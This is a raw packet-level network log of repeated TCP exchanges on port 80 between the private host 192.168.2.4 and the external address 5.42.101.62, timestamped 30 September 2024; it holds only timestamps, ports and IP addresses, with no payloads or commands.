Sep 30, 2024 12:22:34.916877985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916901112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916908026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916934967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916944027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916975021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916975975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917010069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917018890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917042017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917047977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917073965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917087078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917104006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917118073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917136908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917146921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917169094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917177916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917202950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917211056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917234898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917253017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917284966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917319059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917352915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917356968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917356968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917370081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917385101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917418003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917418003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917418003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917452097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917464972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917485952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917501926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917526007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917529106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917558908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917570114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917593002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917597055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917624950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917628050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917658091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917675972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917692900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917699099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917726040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917732000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917761087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917768002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917793989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917800903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917826891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917844057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917860031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917866945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917891979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917900085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917926073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917932987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917959929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.917967081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.917993069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918001890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918025017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918029070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918059111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918066025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918090105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918102026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918124914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918135881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918154001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918173075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918185949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918195009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918220043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918226957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918251038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918256998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918284893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918293953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918325901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918325901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918359041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918369055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918391943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918401957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918426991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918435097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918458939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918472052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918492079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918500900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918525934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918535948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918560028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918570042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918592930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918601990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918626070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918634892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918653965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.918668985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918694973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.918971062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.919017076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.919064045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.919101000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.934293985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121470928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121510029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121555090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121556044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121562958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121597052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121608019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121634007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121640921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121663094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121675014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121704102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121721029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121754885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121766090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121799946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121802092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121843100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121855974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121889114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121898890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121925116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.121927977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121967077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.121974945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122009039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122021914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122049093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122064114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122097015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122107029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122129917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122137070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122164011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122174025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122206926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122220993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122262955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122271061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122329950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122337103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122370005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122379065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122399092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122405052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122431040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122441053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122467041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122474909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122498989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122505903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122536898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122539997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122570038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122577906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122603893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122612953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122638941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122644901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122672081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122678995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122705936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122714043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122740984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122747898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122773886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122781992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122807980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122814894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122848034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122852087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122894049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122903109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122936964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.122942924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122980118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.122988939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123025894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123039007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123073101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123085022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123112917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123121977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123155117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123162985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123197079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123204947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123246908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123262882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123295069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123306990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123336077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123347044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123378992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123399019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123414040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123433113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123467922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123476028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123505116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123517990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123550892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123559952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123585939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123591900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123617887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123625994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123658895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123667955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123708963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123718977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123752117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123758078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123785019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123794079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123817921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123826027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123858929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123868942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123903990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123909950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123939037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123939991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.123971939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.123980045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124005079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124013901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124036074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124046087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124066114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124078035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124100924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124109030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124136925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124142885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124169111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124176979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124202967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124208927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124234915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124239922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124269962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124278069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124304056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124311924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124337912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124345064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124370098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124377966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124409914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124419928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124454021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124460936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124490976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124495029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124526024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124536991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124558926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124564886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124592066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124593973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124623060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124629021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124653101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124663115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124686003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124694109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124721050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124727011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124753952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124763012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124794960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.124823093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124855042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124888897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124921083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124954939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124988079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.124993086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125000000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125000000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125020981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125031948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125053883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125063896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125088930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125097990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125123024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125129938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125154972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125164032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125185013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125195980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125216961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125226974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125247955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125252962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125281096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125288963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125314951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125323057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125348091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125355005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125381947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125389099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125415087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125421047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125449896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125458002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125480890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125493050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125514984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125521898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125549078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125560045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125581980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125590086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125614882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.125621080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.125649929 CEST	80	52534	5.42.101.62	192.168.2.4
